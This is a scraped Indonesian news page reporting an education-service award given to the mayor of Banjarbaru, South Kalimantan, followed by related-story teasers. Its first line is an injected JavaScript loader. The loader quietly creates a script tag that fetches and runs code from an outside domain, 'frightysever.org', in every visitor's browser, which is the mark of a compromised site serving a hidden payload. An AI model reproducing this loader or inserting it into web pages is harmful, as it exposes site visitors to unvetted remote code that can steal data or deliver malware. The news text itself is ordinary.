(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Kementerian Pendidikan, Kebudayaan, Riset, dan Teknologi melalui Balai Penjamin Mutu Pendidikan (BPMP) Provinsi Kalimantan Selatan memberikan piagam penghargaan kepada Wali Kota Banjarbaru Aditya Mufti Ariffin dalam ajang Festival Kurikulum Merdeka dan Festival Sekolah Sehat yang berlangsung di aula BPMP Provisi Kalsel, Rabu (1/5/2024) siang.
Piagam penghargaan sektor pendidikan tersebut merupakan bentuk apresiasi kepada Wali Kota Aditya atas komitmen pemerintah daerah dalam penjaminan dan peningkatan mutu layanan pendidikan berdasarkan pada peningkatan indeks standar pelayanan minimal tahun 2023.
Kepala Dinas Pendidikan (Disdik) Kota Banjarbaru, Dedy Sutoyo, mengungkapkan, Standar Pelayanan Minimal (SPM) merupakan kewenangan dasar yang dilaksanakan oleh setiap pemerintah daerah tak terkecuali di lingkup Pemko Banjarbaru.
Baca juga: D’Bakso Hadir Manjakan Lidah Warga Palangkaraya dengan Ragam Menu Bakso
“Untuk Pemko Banjarbaru ada tujuh dinas yang melaksanakannya. Salah satunya Dinas Pendidikan. Khusus untuk SPM di bidang pendidikan merupakan komitmen bagi setiap daerah untuk menyelenggarakan urusan pendidikan yang tertuang dalam anggaran, dokumen strategis, dan kegiatan,” jelasnya.
Baca juga: Manasik Haji 2024 Ditutup, Ini Pesan Bupati Banjar untuk Jemaah Kabupaten Banjar
Dijelaskan Dedy, untuk setiap butir SPM akan mendapatkan skoring dan penilaian. Adapun saat ini, posisi SPM pendidikan di Kota Banjarbaru era kepemimpinan Wali Kota Aditya sukses mencapai skor 84,57 sekaligus pula mendapat predikat “Tuntas Madya”.
“Alhamdulillah posisi SPM Banjarbaru level Tuntas Madya. Penghargaan ini membuktikan selama di bawah kepemimpinan beliau serius dan berkomitmen untuk menganggarkan dan melaksanakan tugas kewenangan bidang pendidikan,” jelasnya.
Kendati demikian, Kadisdik Banjarbaru mengakui untuk predikat Tuntas Madya ini dibutuhkan komitmen seluruh lini substansi serius melaksanakan SPM. Saat ini untuk di Provinsi Kalsel baru dua pemerintah daerah yang berhasil meraih predikat tersebut.
Baca juga: 153 Pelamar Calon PPK Pilkada di Banjarmasin
“Baru dua di Kalsel, Kota Banjarbaru dan Kabupaten HST. Ini dibutuhkan komitmen untuk serius melaksanakan SPM. Insyaallah, dengan dukungan dan program bapak Wali Kota Banjarbaru kita bisa mendapatkan predikat yang lebih tinggi lagi,” tuntas Kadisdik.
Penghargaan di sektor pendidikan ini menambah daftar panjang prestasi dan penghargaan yang diraih Wali Kota Aditya bersama jajaran. Termasuk pula memantapkan sebutan Kota Banjarbaru sebagai Kota Pendidikan di Kalsel. (Kanalkalimantan.com/bie)
Reporter : bie
Editor : kk
KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More
KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More
KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More
This website uses cookies.